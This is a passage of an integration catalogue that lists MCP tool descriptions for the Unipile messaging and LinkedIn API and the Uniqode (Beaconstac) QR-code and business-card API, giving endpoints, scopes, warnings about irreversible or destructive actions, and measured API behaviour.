/api/v1/unipile/api/v1/users/{identifier}/posts. Scopes: api. unipile_get_api_v1_users_by_identifier_reactions (read) — List all reactions. GET https://{subdomain}.unipile.com:{port}/api/v1/users/{identifier}/reactions. Returns a list of reactions to posts or comments from a user. GET /api/v1/unipile/api/v1/users/{identifier}/reactions. Scopes: api. unipile_get_api_v1_users_followers (read) — List all followers. GET https://{subdomain}.unipile.com:{port}/api/v1/users/followers. Returns a list of all the followers of the current user. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.unipile.com/docs/provider-limits-and-restrictions GET /api/v1/unipile/api/v1/users/followers. Scopes: api. unipile_get_api_v1_users_following (read) — List all followed accounts. GET https://{subdomain}.unipile.com:{port}/api/v1/users/following. Returns a list of all the followed accounts of an account. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.unipile.com/docs/provider-limits-and-restrictions GET /api/v1/unipile/api/v1/users/following. Scopes: api. unipile_get_api_v1_users_invite_received (read) — List all invitations received. GET https://{subdomain}.unipile.com:{port}/api/v1/users/invite/received. Returns a list of all invitations that have been received. GET /api/v1/unipile/api/v1/users/invite/received. Scopes: api. unipile_get_api_v1_users_invite_sent (read) — List all invitations sent. GET https://{subdomain}.unipile.com:{port}/api/v1/users/invite/sent. Returns a list of all invitations sent that are pending. GET /api/v1/unipile/api/v1/users/invite/sent. Scopes: api. unipile_get_api_v1_users_me (read) — Retrieve own profile. GET https://{subdomain}.unipile.com:{port}/api/v1/users/me. Retrieve informations about account owner. GET /api/v1/unipile/api/v1/users/me. Scopes: api. unipile_get_api_v1_users_relations (read) — List all relations. GET https://{subdomain}.unipile.com:{port}/api/v1/users/relations. Returns a list of all the relations of an account. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.unipile.com/docs/provider-limits-and-restrictions GET /api/v1/unipile/api/v1/users/relations. Scopes: api. unipile_get_api_v1_webhooks (read) — List all webhooks. GET https://{subdomain}.unipile.com:{port}/api/v1/webhooks. Returns a list of the webhooks. GET /api/v1/unipile/api/v1/webhooks. Scopes: api. unipile_patch_api_v1_accounts_by_id (write) — Update account proxy. PATCH https://{subdomain}.unipile.com:{port}/api/v1/accounts/{id}. Update the proxy configuration of an existing account. You can provide a custom proxy, or request a new Unipile proxy by country/IP. PATCH /api/v1/unipile/api/v1/accounts/{id}. Scopes: api. unipile_patch_api_v1_calendars_by_calendar_id_events_by_event_id (write) — Edit an event. PATCH https://{subdomain}.unipile.com:{port}/api/v1/calendars/{calendar_id}/events/{event_id}. Edit a calendar event. PATCH /api/v1/unipile/api/v1/calendars/{calendar_id}/events/{event_id}. Scopes: api. unipile_patch_api_v1_chats_by_chat_id (write) — Perform an action on a given chat. PATCH https://{subdomain}.unipile.com:{port}/api/v1/chats/{chat_id}. Perform an action like changing the read status, muting the chat, retrieving a group invite link, etc. PATCH /api/v1/unipile/api/v1/chats/{chat_id}. Scopes: api. unipile_patch_api_v1_linkedin_jobs_by_job_id (write) — Edit a job posting. PATCH https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/{job_id}. Edit an existing job posting. PATCH /api/v1/unipile/api/v1/linkedin/jobs/{job_id}. Scopes: api. unipile_patch_api_v1_messages_by_message_id (write) — Edit a message. PATCH https://{subdomain}.unipile.com:{port}/api/v1/messages/{message_id}. Edit a message. Supported for WhatsApp and LinkedIn Classic only. WhatsApp may reject edits after an indicative 15-minute window following the original send time. LinkedIn Classic edits are only possible within the first 60 minutes after the message is sent. PATCH /api/v1/unipile/api/v1/messages/{message_id}. Scopes: api. unipile_patch_api_v1_users_me_edit (write) — Edit own profile. PATCH https://{subdomain}.unipile.com:{port}/api/v1/users/me/edit. Modify informations on account owner profile. For WhatsApp accounts, only headline (profile display name), summary (profile About/status) and picture are available. For Instagram accounts, only summary (profile bio) and picture are available. They should be formatted with brackets like the following examples: location[id]=105015875, picture_settings[filter]=STUDIO or picture_settings[layout][bottomLeft][x]=1.25. When working with arrays, just set one field for each value with the same key, for example: experience[skills]=development \ experience[skills]=management. Attachments are not supported on this connection: Unipile accepts this operation only as multipart/form-data, and its file properties (cover_picture, education.attachment.file, education.attachment.thumbnail, experience.attachment.file, experience.attachment.thumbnail, picture) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. An experience or education attachment must be a LINK (type, title, url): the media variant is not available on this connection, because its file is an upload and uploads cannot be tool arguments. PATCH /api/v1/unipile/api/v1/users/me/edit. Scopes: api. unipile_post_api_v1_accounts_by_id_restart (write) — Restart an account. POST https://{subdomain}.unipile.com:{port}/api/v1/accounts/{id}/restart. Restart the sources of a frozen account. POST /api/v1/unipile/api/v1/accounts/{id}/restart. Scopes: api. unipile_post_api_v1_accounts_checkpoint (write) — Solve a code checkpoint. POST https://{subdomain}.unipile.com:{port}/api/v1/accounts/checkpoint. Allows you to provide a code which will solve a checkpoint encountered during a native authentication. A checkpoint is a security step added by a provider which needs to be solved to complete the authentication. Checkpoints that require a code are 2FA (two-factor authentication) and OTP (one-time password). Depending on the way you have configured the account you are trying to authenticate, you can get your code from various ways such as a mail, a SMS or from a two-factor authentication app. POST /api/v1/unipile/api/v1/accounts/checkpoint. Scopes: api. unipile_post_api_v1_accounts_checkpoint_resend (write) — Resend checkpoint notification. POST https://{subdomain}.unipile.com:{port}/api/v1/accounts/checkpoint/resend. Might it be 2FA, OTP or In-app Validation, this route makes you able on certain providers to resend the notification. POST /api/v1/unipile/api/v1/accounts/checkpoint/resend. Scopes: api. unipile_post_api_v1_calendars_by_calendar_id_events (write, destructive) — Create an event. POST https://{subdomain}.unipile.com:{port}/api/v1/calendars/{calendar_id}/events. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Create a calendar event. POST /api/v1/unipile/api/v1/calendars/{calendar_id}/events. Scopes: api. unipile_post_api_v1_chats (write, destructive) — Start a new chat. POST https://{subdomain}.unipile.com:{port}/api/v1/chats. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Start a new conversation with one or more attendee. Attachments are not supported on this connection: Unipile accepts this operation only as multipart/form-data, and its file properties (attachments, linkedin.follow_up.attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/unipile/api/v1/chats. Scopes: api. unipile_post_api_v1_chats_by_chat_id_messages (write, destructive) — Send a message in a chat. POST https://{subdomain}.unipile.com:{port}/api/v1/chats/{chat_id}/messages. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Send a message to the given chat with the possibility to link some attachments. Attachments are not supported on this connection: Unipile accepts this operation only as multipart/form-data, and its file properties (attachments, video_message, voice_message) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/unipile/api/v1/chats/{chat_id}/messages. Scopes: api. unipile_post_api_v1_drafts (write) — Create a draft. POST https://{subdomain}.unipile.com:{port}/api/v1/drafts. Interactive documentation does not work on this route (child parameters not correctly applied in snippet), Create a new draft. Attachments are not supported on this connection: Unipile accepts this operation only as multipart/form-data, and its file properties (attachments) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/unipile/api/v1/drafts. Scopes: api. unipile_post_api_v1_emails (write, destructive) — Send an email. POST https://{subdomain}.unipile.com:{port}/api/v1/emails. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Interactive documentation does not work on this route (child parameters not correctly applied in snippet), please use our ready to copy past example of this page: https://developer.unipile.com/docs/send-email Attachments are not supported on this connection: Unipile accepts this operation only as multipart/form-data, and its file properties (attachments) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/unipile/api/v1/emails. Scopes: api. unipile_post_api_v1_hosted_accounts_link (write) — Connect an account (hosted authentication). POST https://{subdomain}.unipile.com:{port}/api/v1/hosted/accounts/link. Create a url which redirect to Unipile's hosted authentication to connect or reconnect an account. POST /api/v1/unipile/api/v1/hosted/accounts/link. Scopes: api. unipile_post_api_v1_linkedin (write) — Get raw data from any endpoint. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin. This magic route is intended for advanced users who wish to use LinkedIn's features beyond our current capabilities. It enables you to create custom functionalities that are not yet supported by our platform, using connected accounts. To utilize this route, you will need to identify the specific endpoint containing the desired data using web developer tools on LinkedIn, and then copy the URL along with its parameters for implementation. POST /api/v1/unipile/api/v1/linkedin. Scopes: api. unipile_post_api_v1_linkedin_contracts_by_id_select (write) — Select contract. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/contracts/{id}/select. Select a Recruiter or Sales navigator contract to be used on your account POST /api/v1/unipile/api/v1/linkedin/contracts/{id}/select. Scopes: api. unipile_post_api_v1_linkedin_jobs (write) — Create a job posting. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs. Create a new job offer draft. POST /api/v1/unipile/api/v1/linkedin/jobs. Scopes: api. unipile_post_api_v1_linkedin_jobs_by_draft_id_checkpoint (write) — Solve a job publishing checkpoint. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/{draft_id}/checkpoint. Solve a checkpoint to verify your member privilegies. POST /api/v1/unipile/api/v1/linkedin/jobs/{draft_id}/checkpoint. Scopes: api. unipile_post_api_v1_linkedin_jobs_by_draft_id_publish (write, destructive) — Publish a job posting. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/{draft_id}/publish. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Publish the job posting draft you have been working on. POST /api/v1/unipile/api/v1/linkedin/jobs/{draft_id}/publish. Scopes: api. unipile_post_api_v1_linkedin_jobs_by_id_close (write) — Close a job posting. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/jobs/{id}/close. Close a job offer you have posted. POST /api/v1/unipile/api/v1/linkedin/jobs/{id}/close. Scopes: api. unipile_post_api_v1_linkedin_profile_endorse (write, destructive) — Endorse a user profile specific skill. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/profile/endorse. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. This route can be used to endorse a skill of a user profile. POST /api/v1/unipile/api/v1/linkedin/profile/endorse. Scopes: api. unipile_post_api_v1_linkedin_search (write) — Perform Linkedin search. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/search. Search people and companies from the Linkedin Classic as well as Sales Navigator APIs. Check out our Guide with examples to master LinkedIn search: https://developer.unipile.com/docs/linkedin-search POST /api/v1/unipile/api/v1/linkedin/search. Scopes: api. unipile_post_api_v1_linkedin_user_by_user_id (write) — Perform an action with a user profile. POST https://{subdomain}.unipile.com:{port}/api/v1/linkedin/user/{user_id}. Add a candidate to a Recruiter pipeline, save a Sales Navigator lead, etc. POST /api/v1/unipile/api/v1/linkedin/user/{user_id}. Scopes: api. unipile_post_api_v1_messages_by_message_id_forward (write, destructive) — Forward a message. POST https://{subdomain}.unipile.com:{port}/api/v1/messages/{message_id}/forward. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Forward a message to a chat. (Whatsapp only) POST /api/v1/unipile/api/v1/messages/{message_id}/forward. Scopes: api. unipile_post_api_v1_messages_by_message_id_reaction (write, destructive) — Add a reaction to a message. POST https://{subdomain}.unipile.com:{port}/api/v1/messages/{message_id}/reaction. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Add a reaction to a message. (Whatsapp, LinkedIn, Telegram, Instagram) POST /api/v1/unipile/api/v1/messages/{message_id}/reaction. Scopes: api. unipile_post_api_v1_posts (write, destructive) — Create a post. POST https://{subdomain}.unipile.com:{port}/api/v1/posts. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Publish a post. Attachments are not supported on this connection: Unipile accepts this operation only as multipart/form-data, and its file properties (attachments, video_thumbnail) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/unipile/api/v1/posts. Scopes: api. unipile_post_api_v1_posts_by_post_id_comments (write, destructive) — Comment a post. POST https://{subdomain}.unipile.com:{port}/api/v1/posts/{post_id}/comments. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Comment a post or reply to a post comment. Attachments are not supported on this connection: Unipile accepts this operation only as multipart/form-data, and its file properties (attachments) are omitted from this tool's schema because unbounded bytes must not enter a tool argument. Every text field is available and is sent as a multipart text part. POST /api/v1/unipile/api/v1/posts/{post_id}/comments. Scopes: api. unipile_post_api_v1_posts_reaction (write, destructive) — Add a reaction to a post. POST https://{subdomain}.unipile.com:{port}/api/v1/posts/reaction. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. React to either a post or a post comment. POST /api/v1/unipile/api/v1/posts/reaction. Scopes: api. unipile_post_api_v1_users_invite (write, destructive) — Send an invitation. POST https://{subdomain}.unipile.com:{port}/api/v1/users/invite. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Send an invitation to add someone to your contacts. Ensure careful implementation of this action and consult provider limits and restrictions: https://developer.unipile.com/docs/provider-limits-and-restrictions POST /api/v1/unipile/api/v1/users/invite. Scopes: api. unipile_post_api_v1_users_invite_received_by_invitation_id (write, destructive) — Handle a received invitation. POST https://{subdomain}.unipile.com:{port}/api/v1/users/invite/received/{invitation_id}. IRREVERSIBLE OUTWARD ACTION: this is visible to someone other than the account owner and cannot be undone through this API. Accept or decline a connection invitation. POST /api/v1/unipile/api/v1/users/invite/received/{invitation_id}. Scopes: api. unipile_post_api_v1_webhooks (write) — Create a webhook. POST https://{subdomain}.unipile.com:{port}/api/v1/webhooks. Create a webhook. POST /api/v1/unipile/api/v1/webhooks. Scopes: api. unipile_put_api_v1_emails_by_email_id (write) — Update an email. PUT https://{subdomain}.unipile.com:{port}/api/v1/emails/{email_id}. Update an email. PUT /api/v1/unipile/api/v1/emails/{email_id}. Scopes: api. ================================================================================ ## Uniqode (Beaconstac) URL: https://www.agenticfabriq.com/integrations/beaconstac Section: Integrated Tools Uniqode (Beaconstac) — 97 MCP tools Provider key: beaconstac. Scopes: api. Connect: API / credentials — your end user pastes a credential into an Agentic Fabriq-hosted connect screen (POST /api/v1/apps/{app_id}/external-users/{uid}/credentials/{provider}/initiate, redirect to connect_url). Every path is end-user self-service — no admin-entered credential. Branch at runtime on GET /api/v1/apps/{app_id}/external-users/providers/capabilities, on oauth || key_connect — two branches, no third. key_connect means "connect through the credentials initiate", not "the user pastes a key": AF’s hosted page decides what it asks for. link_connect describes that page for your UI copy and is never a routing flag. beaconstac_delete_dbc_by_card_id (write, destructive) — Delete a digital business card via DELETE /api/2.0/dbc/{card_id}/. PERMANENTLY DELETE a digital business card by id. Its QR code and wallet passes stop resolving; prefer Deactivate, which is reversible. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). There is no undo and no recycle bin: Uniqode's API offers no way to restore what this call removes. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. DELETE /api/v1/beaconstac/dbc/{card_id}/. Scopes: api. beaconstac_delete_dbc_by_card_id_activate (write, destructive) — Deactivate a digital business card via DELETE /api/2.0/dbc/{card_id}/activate/. Deactivate a digital business card (Active `A` to Sleeping `S`), keeping the card. Answers 400 if it is already sleeping. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Reversible: the matching activate tool returns it to the Active state. Only dynamic QR codes have a state to change. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. DELETE /api/v1/beaconstac/dbc/{card_id}/activate/. Scopes: api. beaconstac_delete_lead_by_lead_id (write, destructive) — Delete a lead via DELETE /api/2.0/lead/{lead_id}/. PERMANENTLY DELETE a captured lead by id. There is no undo and no recycle bin: Uniqode's API offers no way to restore what this call removes. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. DELETE /api/v1/beaconstac/lead/{lead_id}/. Scopes: api. beaconstac_delete_qrcodes_by_qrcode_id (write, destructive) — Delete a QR code via DELETE /api/2.0/qrcodes/{qrcode_id}/. PERMANENTLY DELETE a QR code by id. A printed dynamic code that is deleted stops resolving for everyone who scans it; prefer Deactivate a QR code, which is reversible. There is no undo and no recycle bin: Uniqode's API offers no way to restore what this call removes. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. DELETE /api/v1/beaconstac/qrcodes/{qrcode_id}/. Scopes: api. beaconstac_delete_qrcodes_by_qrcode_id_activate (write, destructive) — Deactivate a QR code via DELETE /api/2.0/qrcodes/{qrcode_id}/activate/. Deactivate a DYNAMIC QR code: moves it from Active (`A`) to Sleeping (`S`) so scans stop resolving while the code itself is kept. Not applicable to static codes. Reversible: the matching activate tool returns it to the Active state. Only dynamic QR codes have a state to change. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. DELETE /api/v1/beaconstac/qrcodes/{qrcode_id}/activate/. Scopes: api. beaconstac_delete_qrtemplates_by_template_id (write, destructive) — Delete a QR code template via DELETE /api/2.0/qrtemplates/{template_id}/. PERMANENTLY DELETE a QR code template by id. QR codes already rendered with it keep their appearance; the template is simply gone from the picker. The vendor's collection spells this route without the id and its handler does not exist there -- the by-id route is the one that lists DELETE in its allow header (measured 2026-09-19). There is no undo and no recycle bin: Uniqode's API offers no way to restore what this call removes. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. DELETE /api/v1/beaconstac/qrtemplates/{template_id}/. Scopes: api. beaconstac_delete_tags_by_tag_id (write, destructive) — Delete a tag via DELETE /api/2.0/tags/{tag_id}/. PERMANENTLY DELETE a tag by id. The QR codes it labelled are untouched. There is no undo and no recycle bin: Uniqode's API offers no way to restore what this call removes. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. DELETE /api/v1/beaconstac/tags/{tag_id}/. Scopes: api. beaconstac_get_bulkqrcodes (read) — List bulk QR code collections via GET /api/2.0/bulkqrcodes/. List the bulk QR code collections created through the vendor's DEPRECATED bulk API; `page` pages. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Creating a collection needs a CSV upload and is not available through this integration. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/bulkqrcodes/. Scopes: api. beaconstac_get_bulkqrcodes_by_bulk_qrcode_id (read) — Get a bulk QR code collection via GET /api/2.0/bulkqrcodes/{bulk_qrcode_id}/. Fetch one bulk QR code collection by id (deprecated bulk API). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/bulkqrcodes/{bulk_qrcode_id}/. Scopes: api. beaconstac_get_dbc (read) — List digital business cards via GET /api/2.0/dbc/. List the digital business cards in the connected organization. Filters: `state` (`A` active, `S` sleeping), `card_owner__is` (a user id), and `page`/`page_size` for paging. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). This is where a card id comes from. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/dbc/. Scopes: api. beaconstac_get_dbc_by_card_id (read) — Get a digital business card via GET /api/2.0/dbc/{card_id}/. Fetch one digital business card by id: the person's details, layout, customizations, template and state. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/dbc/{card_id}/. Scopes: api. beaconstac_get_dbc_by_card_id_download (read) — Get card QR code image download URLs via GET /api/2.0/dbc/{card_id}/download/. Get download URLs for a card's QR code image: `canvas_type` (`png`, `jpeg`, `svg`, `pdf`; omit for all), `size` and `error_correction_level`. The reply is `{urls: {<format>: <url>}, name}` -- URLs, not bytes. Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/dbc/{card_id}/download/. Scopes: api. beaconstac_get_dbc_by_card_id_walletpass (read) — List a card's wallet passes via GET /api/2.0/dbc/{card_id}/walletpass/. List a card's Apple Wallet and Google Wallet pass URLs (`detail.apple_wallet_pass_url`, `detail.google_wallet_pass_url`). Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/dbc/{card_id}/walletpass/. Scopes: api. beaconstac_get_dbc_templates (read) — List card templates via GET /api/2.0/dbc/templates/. List the card design templates in the connected organization. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Digital Business Cards is a separate Uniqode product: on an account without the Cards entitlement this answers 403 'You do not have permission to perform this action', which is the plan, not the key (measured 2026-09-19). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/dbc/templates/. Scopes: api. beaconstac_get_forms (read) — List feedback forms via GET /api/2.0/forms/. List the feedback forms in the connected organization; `title__icontains` filters by title substring. The reply is `{count, next, prev, results}` -- note `prev`, not `previous`, on this one list. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/forms/. Scopes: api. beaconstac_get_forms_by_form_id (read) — Get a feedback form via GET /api/2.0/forms/{form_id}/. Fetch one feedback form by id. An id the organization does not hold answers 200 with `{"detail":"Form not found."}` rather than a 404 (measured 2026-09-19), so check for `detail` before reading fields. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/forms/{form_id}/. Scopes: api. beaconstac_get_forms_by_form_id_responses (read) — Get feedback form responses via GET /api/2.0/forms/{form_id}/responses/. Fetch the responses submitted to a feedback form: `since`/`until` bound the window in epoch milliseconds, `timezone` is an IANA name for the returned timestamps, and `page_size` pages the list. A form id the organization does not hold answers 404 `Form does not exist for given Organization`. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/forms/{form_id}/responses/. Scopes: api. beaconstac_get_lead (read) — List leads via GET /api/2.0/lead/. List the leads captured through the connected organization's digital business cards, with `page` for paging. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/lead/. Scopes: api. beaconstac_get_media (read) — List media objects via GET /api/2.0/media/. List the media objects (uploaded images and PDFs) in the connected organization, each with its CDN `url`, `content_type` and status; `page`/`page_size` page the list. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/media/. Scopes: api. beaconstac_get_media_by_media_id (read) — Get a media object via GET /api/2.0/media/{media_id}/. Fetch one media object by id, with its CDN `url`. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/media/{media_id}/. Scopes: api. beaconstac_get_organizations (read) — List organizations via GET /api/2.0/organizations/. List every organization this key can see -- the connected one and any child organizations -- with each one's feature permissions and `child_organizations`; `page` pages. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/organizations/. Scopes: api. beaconstac_get_organizations_by_organization_id (read) — Get the connected organization via GET /api/2.0/organizations/{organization_id}/. Fetch the CONNECTED organization's record: name, parent, child organizations, feature permissions and wallet state. The id is this connection's Organization ID, not an argument. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/organization/. Scopes: api. beaconstac_get_organizations_by_organization_id_counts (read) — Count the connected organization's objects via GET /api/2.0/organizations/{organization_id}/counts/. Count the connected organization's objects: users, QR codes (total, dynamic, paused), forms, cards, LinkPages, places, custom domains and the legacy hardware kinds. Free and instant; a good first call. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/organization/counts/. Scopes: api. beaconstac_get_organizationwebhooks (read) — List webhooks via GET /api/2.0/organizationwebhooks/. List the webhooks registered for the connected organization; `page` pages. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/organizationwebhooks/. Scopes: api. beaconstac_get_organizationwebhooks_by_webhook_id (read) — Get a webhook via GET /api/2.0/organizationwebhooks/{webhook_id}/. Fetch one webhook by id: its URL, the events it fires on and its maintainer. Any `webhook_authorization` value is withheld from the reply. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/organizationwebhooks/{webhook_id}/. Scopes: api. beaconstac_get_places (read) — List places via GET /api/2.0/places/. List the places (physical locations with a Google place id) in the connected organization; `page` pages. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/places/. Scopes: api. beaconstac_get_places_by_place_id (read) — Get a place via GET /api/2.0/places/{place_id}/. Fetch one place by id. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/places/{place_id}/. Scopes: api. beaconstac_get_qrcodes (read) — List QR codes via GET /api/2.0/qrcodes/. List the QR codes in the connected organization. Filters: `qr_type` (1 static, 2 dynamic), `campaign__content_type` (the dynamic content type number, e.g. 13 for PDF) and `name__icontains` (case-insensitive name substring); an invalid choice for the first two answers 400 naming the field. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). This is where a QR code id comes from. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/qrcodes/. Scopes: api. beaconstac_get_qrcodes_by_qrcode_id (read) — Get a QR code via GET /api/2.0/qrcodes/{qrcode_id}/. Fetch one QR code by its numeric id: its type, campaign or fields_data, styling attributes, state (`A` active, `S` sleeping) and timestamps. An id the organization does not hold answers 404 `{"detail":"Not found."}`. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/qrcodes/{qrcode_id}/. Scopes: api. beaconstac_get_qrcodes_by_qrcode_id_download (read) — Get QR code image download URLs via GET /api/2.0/qrcodes/{qrcode_id}/download/. Get a download URL for a QR code's rendered image. Uniqode renders the code server-side and answers `{"urls": {<format>: <S3 url>}, "name": ...}`, not bytes: `canvas_type` picks `png`, `jpeg`, `svg` or `pdf`, `size` is the pixel size (default 1024), `error_correction_level` the QR error-correction level, and `qr_template`/`template_size`/`logo_url` apply a template or logo at render time. Measured 2026-09-19 on a real code: each of the four formats answers 200 with one URL under its own key; OMITTING `canvas_type` answers the png URL only, not every format as the vendor's page says. An unknown id answers 400 `QRCode matching query does not exist.` Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/qrcodes/{qrcode_id}/download/. Scopes: api. beaconstac_get_qrtemplates (read) — List QR code templates via GET /api/2.0/qrtemplates/. List the QR code design templates the connected organization can use, including Uniqode's defaults (`default: true`). `name__icontains` filters by name substring; `page`/`page_size` page the list. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/qrtemplates/. Scopes: api. beaconstac_get_qrtemplates_by_template_id (read) — Get a QR code template via GET /api/2.0/qrtemplates/{template_id}/. Fetch one QR code template by id: its data pattern, colours, eye shapes, frame, logo and background settings. Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/qrtemplates/{template_id}/. Scopes: api. beaconstac_get_tags (read) — List tags via GET /api/2.0/tags/. List the tags in the connected organization; `name__icontains` filters by name substring and `page` pages. The reply is `{count, next, previous, results}`: `count` is the total, `results` the current page, and `next`/`previous` are ready-made URLs for the adjacent pages (null at either end). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/tags/. Scopes: api. beaconstac_get_tags_by_tag_id (read) — Get a tag via GET /api/2.0/tags/{tag_id}/. Fetch one tag by id, with the QR codes it is applied to (`qrcode_set`). Scoped to this connection's Uniqode organization; its Organization ID is a connect-time setting, never a tool argument. GET /api/v1/beaconstac/tags/{tag_id}/. Scopes: api. beaconstac_get_users (read) — List users via GET /api/2.0/users/. List the users on the account, each with their organization memberships and role (`user_group`: OW owner, AD admin, ED editor, VW viewer); `page` 